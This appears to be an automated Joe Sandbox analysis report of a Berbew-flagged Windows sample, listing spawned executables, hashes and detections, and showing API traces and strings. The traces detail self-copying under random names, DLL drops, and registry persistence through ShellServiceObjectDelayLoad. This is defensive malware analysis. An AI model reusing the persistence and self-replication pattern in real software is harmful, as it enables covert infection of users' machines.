Target ID:	26
Start time:	19:58:59
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\Ceampi32.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\Ceampi32.exe
Imagebase:	0x400000
File size:	131'072 bytes
MD5 hash:	7008B57588331F2C9C3672BB96521844
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Berbew, Description: Yara detected Berbew, Source: 0000001A.00000002.2011076811.000000000042A000.00000004.00000001.01000000.0000001D.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	19:58:59
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\Cnjaioih.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\Cnjaioih.exe
Imagebase:	0x400000
File size:	131'072 bytes
MD5 hash:	CA30D43E91B9417EA485DABDD1CCD228
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Berbew, Description: Yara detected Berbew, Source: 0000001B.00000002.2013905191.000000000042A000.00000004.00000001.01000000.0000001E.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	19:58:59
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\Camgpi32.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\Camgpi32.exe
Imagebase:	0x400000
File size:	131'072 bytes
MD5 hash:	AFB7FE6A2325DC169AF337B02D73EA13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Berbew, Description: Yara detected Berbew, Source: 0000001C.00000002.2016533194.000000000042A000.00000004.00000001.01000000.0000001F.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	19:58:59
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\Dmfdkj32.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\Dmfdkj32.exe
Imagebase:	0x400000
File size:	131'072 bytes
MD5 hash:	8A37BEE9F75CA0545946D3034A19B27A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Berbew, Description: Yara detected Berbew, Source: 0000001D.00000002.2017016443.000000000042A000.00000004.00000001.01000000.00000020.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	19:59:00
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\Dnhmjm32.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\Dnhmjm32.exe
Imagebase:	0x400000
File size:	131'072 bytes
MD5 hash:	305D22424B3635688BD806671F6F8A9C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Berbew, Description: Yara detected Berbew, Source: 0000001E.00000002.2018453034.000000000042A000.00000004.00000001.01000000.00000021.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	19:59:00
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\Dfcboo32.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\Dfcboo32.exe
Imagebase:	0x400000
File size:	131'072 bytes
MD5 hash:	E467DF0B06CAE41308F8F0A6E1F35FBA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Berbew, Description: Yara detected Berbew, Source: 0000001F.00000002.2019406612.000000000042A000.00000004.00000001.01000000.00000022.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	19:59:00
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\Edgbhcim.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\Edgbhcim.exe
Imagebase:	0x400000
File size:	131'072 bytes
MD5 hash:	4396DFC06DB43385A7F834F79F6CA36B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Berbew, Description: Yara detected Berbew, Source: 00000020.00000002.2019682823.000000000042A000.00000004.00000001.01000000.00000023.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	19:59:00
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\Emogai32.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\Emogai32.exe
Imagebase:	0x400000
File size:	131'072 bytes
MD5 hash:	E5B571BCF3D5D371B03E73AAAE92245B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Berbew, Description: Yara detected Berbew, Source: 00000021.00000002.2021263243.000000000042A000.00000004.00000001.01000000.00000024.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	19:59:00
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\Efgkjnfn.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\Efgkjnfn.exe
Imagebase:	0x400000
File size:	131'072 bytes
MD5 hash:	B024F2548F4F6ADC9F3DCD68E53CB2CC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Berbew, Description: Yara detected Berbew, Source: 00000022.00000002.2022377114.000000000042A000.00000004.00000001.01000000.00000025.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	19:59:00
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\Eoappk32.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\Eoappk32.exe
Imagebase:	0x400000
File size:	131'072 bytes
MD5 hash:	B8C0A2511B4FA693AE579E90FCE526AD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Berbew, Description: Yara detected Berbew, Source: 00000023.00000002.2027822384.000000000042A000.00000004.00000001.01000000.00000026.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	19:59:01
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\Fkogfkdj.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\Fkogfkdj.exe
Imagebase:	0x400000
File size:	131'072 bytes
MD5 hash:	151422544613301F6704413C52E381B0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Berbew, Description: Yara detected Berbew, Source: 00000024.00000002.2029071325.000000000042A000.00000004.00000001.01000000.00000027.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	19:59:01
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\Fhedeo32.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\Fhedeo32.exe
Imagebase:	0x400000
File size:	131'072 bytes
MD5 hash:	03114EFDB305B36B603B7F89B84FE057
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Berbew, Description: Yara detected Berbew, Source: 00000025.00000002.2029721811.000000000042A000.00000004.00000001.01000000.00000028.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	19:59:01
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\Feidnc32.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\Feidnc32.exe
Imagebase:	0x400000
File size:	131'072 bytes
MD5 hash:	635F3B50D2C2626B8575FD1AD6A4CE99
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Berbew, Description: Yara detected Berbew, Source: 00000026.00000002.2030625851.000000000042A000.00000004.00000001.01000000.00000029.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	19:59:01
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\Foaigifk.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\Foaigifk.exe
Imagebase:	0x400000
File size:	131'072 bytes
MD5 hash:	1FC2CFC732D1C3E7577F946BB2663E80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Berbew, Description: Yara detected Berbew, Source: 00000027.00000002.2031051927.000000000042A000.00000004.00000001.01000000.0000002A.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	5.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	20.1%
Total number of Nodes:	542
Total number of Limit Nodes:	2

Executed Functions

Function 00406C29 Relevance: 82.5, APIs: 36, Strings: 11, Instructions: 264
windowthreadregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenMutexA.KERNEL32(001F0001,00000000,QueenKarton_12), ref: 00406C50
CloseHandle.KERNEL32(00000000,00000000), ref: 00406C60
exit.CRTDLL(00000001,00000000,00000000), ref: 00406C67
GetVersionExA.KERNEL32(00418D50,00000000), ref: 00406C8A
GetSystemDirectoryA.KERNEL32(00429080,000000FF), ref: 00406C99
GetTickCount.KERNEL32 ref: 00406C9E
srand.CRTDLL(00000000,00418D50,00000000), ref: 00406CA4
GetModuleFileNameA.KERNEL32(00000000,?,00000104,00000000,00418D50,00000000), ref: 00406CBE
rand.CRTDLL(00418D50,00000000), ref: 00406D03
rand.CRTDLL(00418D50,00000000), ref: 00406D2F
rand.CRTDLL(00418D50,00000000), ref: 00406D70
sprintf.CRTDLL(?,%s\%s.exe,00429080,?,00418D50,00000000), ref: 00406DA8
CopyFileA.KERNEL32(?,?,00000000), ref: 00406DBD
WinExec.KERNEL32(?,00000000), ref: 00406DEC
ExitProcess.KERNEL32(00000001,?,?,?,?,?,?,00418D50,00000000), ref: 00406E02
sprintf.CRTDLL(00418E30,%s\%s,00429080,kkq32.dll,00418D50,00000000), ref: 00406E1B
sprintf.CRTDLL(00428F60,%s\%s,00429080,kkq32.vxd,00418E30,%s\%s,00429080,kkq32.dll,00418D50,00000000), ref: 00406E3A
sprintf.CRTDLL(00408020,%s\%s,00429080,dnkkq.dll,00428F60,%s\%s,00429080,kkq32.vxd,00418E30,%s\%s,00429080,kkq32.dll,00418D50,00000000), ref: 00406E53
LoadCursorA.USER32(00000000,00007F00), ref: 00406E85
LoadIconA.USER32(00000000,00007F03), ref: 00406E9A
GetStockObject.GDI32(00000000), ref: 00406EA8
RegisterClassA.USER32(00000003), ref: 00406EC9
CreateWindowExA.USER32(00000000,QueenKarton,QueenKarton,00CA0000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00408020), ref: 00406EF3
CreateMutexA.KERNEL32(00000000,00000000,QueenKarton_12,%s\%s,00429080,dnkkq.dll,00428F60,%s\%s,00429080,kkq32.vxd,00418E30,%s\%s,00429080,kkq32.dll,00418D50,00000000), ref: 00406F12

Part of subcall function 00402E06: GetVersion.KERNEL32 ref: 00402E22
Part of subcall function 00402E06: GlobalMemoryStatus.KERNEL32(?), ref: 00402F9F
Part of subcall function 00402E06: CloseHandle.KERNEL32(?), ref: 00403065

GetVersion.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00429080,kkq32.dll,00418D50,00000000), ref: 00406F21
GetModuleHandleA.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,?,?,?,00429080,kkq32.dll,00418D50,00000000), ref: 00406F32
GetProcAddress.KERNEL32(00000000,RegisterServiceProcess), ref: 00406F3D
GetCurrentProcessId.KERNEL32(00000000,RegisterServiceProcess,kernel32.dll,?,?,?,?,?,?,?,?,?,?,?,00429080,kkq32.dll), ref: 00406F57
CreateThread.KERNEL32(00000000,00000000,0040682B,00000000,00000000,?), ref: 00406F84
CloseHandle.KERNEL32(00000000,00000000,00000000,0040682B,00000000,00000000,?), ref: 00406F8A
CreateThread.KERNEL32(00000000,00000000,004068B0,00000000,00000000,?), ref: 00406FA3
CloseHandle.KERNEL32(00000000,00000000,00000000,004068B0,00000000,00000000,?,00000000,00000000,00000000,0040682B,00000000,00000000,?), ref: 00406FA9
SetTimer.USER32(00000001,000001F4,00000000,00000000), ref: 00406FBD
TranslateMessage.USER32(?), ref: 00406FC8
DispatchMessageA.USER32(?), ref: 00406FD7
GetMessageA.USER32(?,00000000,00000000,00000000), ref: 00406FE6

Strings

%s\%s, xrefs: 00406E11, 00406E30, 00406E49
RegisterServiceProcess, xrefs: 00406F37
dnkkq.dll, xrefs: 00406E3F
kkq32.vxd, xrefs: 00406E26
3, xrefs: 00406D7C
%s\%s.exe, xrefs: 00406D9C
kkq32.dll, xrefs: 00406E07
kernel32.dll, xrefs: 00406F2D
2, xrefs: 00406D83
QueenKarton, xrefs: 00406E64, 00406EE7, 00406EEC
QueenKarton_12, xrefs: 00406C44, 00406F09

Memory Dump Source

Source File: 00000000.00000002.1981203140.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1981163808.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981272347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981310007.000000000042E000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981338899.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981401700.0000000000436000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981476275.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_h879iieoae.jbxd

Yara matches

Similarity

API ID: Handle$CloseCreatesprintf$MessageVersionrand$FileLoadModuleMutexProcessThread$AddressClassCopyCountCurrentCursorDirectoryDispatchExecExitGlobalIconMemoryNameObjectOpenProcRegisterStatusStockSystemTickTimerTranslateWindowexitsrand
String ID: %s\%s$%s\%s.exe$2$3$QueenKarton$QueenKarton_12$RegisterServiceProcess$dnkkq.dll$kernel32.dll$kkq32.dll$kkq32.vxd
API String ID: 607501245-2841515530
Opcode ID: 47dc35882da9e6d4dfe293ecc6690f52e81bb2b6ce91e07ac91a2883a2b15265
Instruction ID: b1e00ee85c63859ee3f052cf9651ba5d7fc827d99c5bd6e2bd8f21b679fb6b98
Opcode Fuzzy Hash: 47dc35882da9e6d4dfe293ecc6690f52e81bb2b6ce91e07ac91a2883a2b15265
Instruction Fuzzy Hash: E691C671F883286ADB10A7759C46FDD76A85B44704F5000BBB508FB2C2D6FC6D448BAE

Function 00403619 Relevance: 7.6, APIs: 5, Instructions: 58
filememoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNEL32(69D4CE72,80000000,?,00000000,?,00000080,00000000,00000001,297D5A2B,10624DD3,00000001,69D4CE72,10624DD3), ref: 00403642
GetFileSize.KERNEL32(00000000,00000000,69D4CE72,80000000,?,00000000,?,00000080,00000000,00000001,297D5A2B,10624DD3,00000001,69D4CE72,10624DD3), ref: 00403667
LocalAlloc.KERNEL32(00000040,-00000010,00000000,00000000,69D4CE72,80000000,?,00000000,?,00000080,00000000,00000001,297D5A2B,10624DD3,00000001,69D4CE72), ref: 00403674
ReadFile.KERNEL32(00000000,10624DD3,00000000,00000000,00000000,00000040,-00000010,00000000,00000000,69D4CE72,80000000,?,00000000,?,00000080,00000000), ref: 0040369A
CloseHandle.KERNEL32(00000000,00000000,10624DD3,00000000,00000000,00000000,00000040,-00000010,00000000,00000000,69D4CE72,80000000,?,00000000,?,00000080), ref: 004036A6

Memory Dump Source

Source File: 00000000.00000002.1981203140.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1981163808.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981272347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981310007.000000000042E000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981338899.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981401700.0000000000436000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981476275.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_h879iieoae.jbxd

Yara matches

Similarity

API ID: File$AllocCloseCreateHandleLocalReadSize
String ID:
API String ID: 2632956699-0
Opcode ID: dd1227ad1f3452ee8fc35f5791aff0d34791abb0994a93554c87423cd4fa6a6f
Instruction ID: fb77f57afc793f1fdbd914af7197191687e2a95eac13cef646675694312e246c
Opcode Fuzzy Hash: dd1227ad1f3452ee8fc35f5791aff0d34791abb0994a93554c87423cd4fa6a6f
Instruction Fuzzy Hash: 14116531A00208BAEB216E65CC06F9DB7A8DB00765F108576FA10BA2D1D67DAF018B5D

Function 00403F68 Relevance: 33.4, APIs: 9, Strings: 10, Instructions: 135
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

rand.CRTDLL(00000001,69D4CE72,10624DD3), ref: 00403FA7
rand.CRTDLL(00000001,69D4CE72,10624DD3), ref: 00403FD4
rand.CRTDLL(00000001,69D4CE72,10624DD3), ref: 00404010
sprintf.CRTDLL(?,%s\%s.dll,00429080,?,00000001,69D4CE72,10624DD3), ref: 00404048
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000,?,%s\%s.dll,00429080,?,00000001,69D4CE72,10624DD3), ref: 00404063
sprintf.CRTDLL(Nejhbi32,00429080,?,40000000,00000000,00000000,00000002,00000000,00000000,?,%s\%s.dll,00429080,?,00000001,69D4CE72,10624DD3), ref: 00404086
WriteFile.KERNEL32(?,0042AA84,00001A01,?,00000000,Nejhbi32,00429080,?,40000000,00000000,00000000,00000002,00000000,00000000,?,%s\%s.dll), ref: 004040A4
CloseHandle.KERNEL32(?,?,0042AA84,00001A01,?,00000000,Nejhbi32,00429080,?,40000000,00000000,00000000,00000002,00000000,00000000,?), ref: 004040BB
sprintf.CRTDLL(?,CLSID\%s\InProcServer32,{79FEACFF-FFCE-815E-A900-316290B5B738},?,?,0042AA84,00001A01,?,00000000,Nejhbi32,00429080,?,40000000,00000000,00000000,00000002), ref: 004040D3

Strings

2, xrefs: 00404023
ThreadingModel, xrefs: 0040410F
Nejhbi32, xrefs: 00404080, 00404085
3, xrefs: 0040401C
CLSID\%s\InProcServer32, xrefs: 004040C7
Apartment, xrefs: 0040410A
%s\%s.dll, xrefs: 0040403C
Software\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad, xrefs: 0040412B
Web Event Logger, xrefs: 00404126
{79FEACFF-FFCE-815E-A900-316290B5B738}, xrefs: 00403F92, 004040C6, 00404125

Memory Dump Source

Source File: 00000000.00000002.1981203140.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1981163808.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981272347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981310007.000000000042E000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981338899.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981401700.0000000000436000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981476275.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_h879iieoae.jbxd

Yara matches

Similarity

API ID: randsprintf$File$CloseCreateHandleWrite
String ID: %s\%s.dll$2$3$Apartment$CLSID\%s\InProcServer32$Nejhbi32$Software\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad$ThreadingModel$Web Event Logger${79FEACFF-FFCE-815E-A900-316290B5B738}
API String ID: 4269242784-480674795
Opcode ID: 5b9226bc97ce31b3811795df607ed7bbed4fe58e3f2db61338cee063268ccacc
Instruction ID: 8034dccab87c86b1e0d8b3b5755954c703eafec793446a3a0ea57bc4b4fc6a7a
Opcode Fuzzy Hash: 5b9226bc97ce31b3811795df607ed7bbed4fe58e3f2db61338cee063268ccacc
Instruction Fuzzy Hash: E7415771F482286AD7109769EC46BE97AAC8B49304F5400FBB908F72C1D6FC9E458F69

Function 00403CE9 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 197
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

rand.CRTDLL(00000001,69D4CE72,10624DD3,?,?,?,?,00406DCE,?,?,%s\%s.exe,00429080,?,00418D50,00000000), ref: 00403CFD
memcpy.CRTDLL(-0042AA50,?,69D4CE72,10624DD3,?,?,?,?,00406DCE,?,?,%s\%s.exe,00429080,?,00418D50,00000000), ref: 00403D7A
memset.CRTDLL(00406DCE,00000000,0000000C,-0042AA50,?,69D4CE72,10624DD3,?,?,?,?,00406DCE,?,?,%s\%s.exe,00429080), ref: 00403D8F
rand.CRTDLL(?,?,?,?,?,?,?,10624DD3,?,?,?,?,00406DCE,?,?,%s\%s.exe), ref: 00403DF6
rand.CRTDLL(?,?,?,?,?,?,?,10624DD3,?,?,?,?,00406DCE,?,?,%s\%s.exe), ref: 00403DFE
rand.CRTDLL(?,?,?,?,?,?,?,10624DD3,?,?,?,?,00406DCE,?,?,%s\%s.exe), ref: 00403E1F
rand.CRTDLL(?,?,?,?,?,?,?,10624DD3,?,?,?,?,00406DCE,?,?,%s\%s.exe), ref: 00403E27
memcpy.CRTDLL(-0042AA4C,0042AA44,00000040,?,?,?,?,?,?,?,10624DD3,?,?,?,?,00406DCE), ref: 00403E52

Strings

+Z}), xrefs: 00403CF2

Memory Dump Source

Source File: 00000000.00000002.1981203140.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1981163808.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981272347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981310007.000000000042E000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981338899.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981401700.0000000000436000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981476275.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_h879iieoae.jbxd

Yara matches

Similarity

API ID: rand$memcpy$memset
String ID: +Z})
API String ID: 1341957784-4018127762
Opcode ID: 2b8c7437e1bd7430af5d83ecd7967c4870ae419bfa933bb167626543e718b489
Instruction ID: df63eb390851271c68cbd719fcc6126871763b87c01c507511359465d0d2d2d2
Opcode Fuzzy Hash: 2b8c7437e1bd7430af5d83ecd7967c4870ae419bfa933bb167626543e718b489
Instruction Fuzzy Hash: A4719E31F042159BCB10CF69DD42A9E7BF5AF88354F584076E901B77A0D23CAA16CBAD

Function 00404148 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 50
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegCreateKeyExA.ADVAPI32(69D4CE72,00000001,00000000,00000000,00000000,000F003F,00000000,00000000,69D4CE72,00000001,00006A14,{79FEACFF-FFCE-815E-A900-316290B5B738},?,?,?,004040F5), ref: 00404189
RegSetValueExA.ADVAPI32(00000000,?,00000000,00000001,00429080,69D4CE72,69D4CE72,00000001,00000000,00000000,00000000,000F003F,00000000,00000000,69D4CE72,00000001), ref: 004041AB
RegCloseKey.ADVAPI32(00000000,00000000,?,00000000,00000001,00429080,69D4CE72,69D4CE72,00000001,00000000,00000000,00000000,000F003F,00000000,00000000,69D4CE72), ref: 004041B9

Strings

{79FEACFF-FFCE-815E-A900-316290B5B738}, xrefs: 0040414D

Memory Dump Source

Source File: 00000000.00000002.1981203140.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1981163808.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981272347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981310007.000000000042E000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981338899.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981401700.0000000000436000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981476275.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_h879iieoae.jbxd

Yara matches

Similarity

API ID: CloseCreateValue
String ID: {79FEACFF-FFCE-815E-A900-316290B5B738}
API String ID: 1818849710-4250702572
Opcode ID: 0b9791cc2bb803e0a6fddded9d2feb4d7971cdb144d1b8de1133cc46446009fc
Instruction ID: 412fd7a6ac4860a679fa2010a2fd1b93dd732dea722ee027fa7473d1befc18ea
Opcode Fuzzy Hash: 0b9791cc2bb803e0a6fddded9d2feb4d7971cdb144d1b8de1133cc46446009fc
Instruction Fuzzy Hash: A7018472B00108BBEB114A95CC02FFEBA6AEF44764F250065FA00B71D1C6B1AE519754

Function 0040365E Relevance: 6.0, APIs: 4, Instructions: 30
memoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileSize.KERNEL32(00000000,00000000,69D4CE72,80000000,?,00000000,?,00000080,00000000,00000001,297D5A2B,10624DD3,00000001,69D4CE72,10624DD3), ref: 00403667
LocalAlloc.KERNEL32(00000040,-00000010,00000000,00000000,69D4CE72,80000000,?,00000000,?,00000080,00000000,00000001,297D5A2B,10624DD3,00000001,69D4CE72), ref: 00403674
ReadFile.KERNEL32(00000000,10624DD3,00000000,00000000,00000000,00000040,-00000010,00000000,00000000,69D4CE72,80000000,?,00000000,?,00000080,00000000), ref: 0040369A
CloseHandle.KERNEL32(00000000,00000000,10624DD3,00000000,00000000,00000000,00000040,-00000010,00000000,00000000,69D4CE72,80000000,?,00000000,?,00000080), ref: 004036A6

Memory Dump Source

Source File: 00000000.00000002.1981203140.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1981163808.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981272347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981310007.000000000042E000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981338899.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981401700.0000000000436000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981476275.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_h879iieoae.jbxd

Yara matches

Similarity

API ID: File$AllocCloseHandleLocalReadSize
String ID:
API String ID: 341201350-0
Opcode ID: 2fd491c6994b402e35e8b9e545411a472b55f40d1e3a5e6431fc85953c0e0c00
Instruction ID: f40f052c398d65a7c82f7348c4b70b1bbd35af8546e58ac1d0fc8a8e918c22c0
Opcode Fuzzy Hash: 2fd491c6994b402e35e8b9e545411a472b55f40d1e3a5e6431fc85953c0e0c00
Instruction Fuzzy Hash: 4EF01C76F04504BAEB01ABA58C02BDD77789B04319F108467F604B62C1D27D6B119B6E

Function 00407980 Relevance: 4.5, APIs: 3, Instructions: 47
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCommandLineA.KERNEL32(?,?,?,00401284,0042A020,0042A024,0042A028,00000000,00000000), ref: 00407985
strchr.CRTDLL(00000001,00000022,?,?,?,00401284,0042A020,0042A024,0042A028,00000000,00000000), ref: 00407997
GetModuleHandleA.KERNEL32(00000000,?,?,?,00401284,0042A020,0042A024,0042A028,00000000,00000000), ref: 004079D1

Memory Dump Source

Source File: 00000000.00000002.1981203140.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1981163808.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981272347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981310007.000000000042E000.00000020.00000001.01000000.00000003.sdmpDownload File
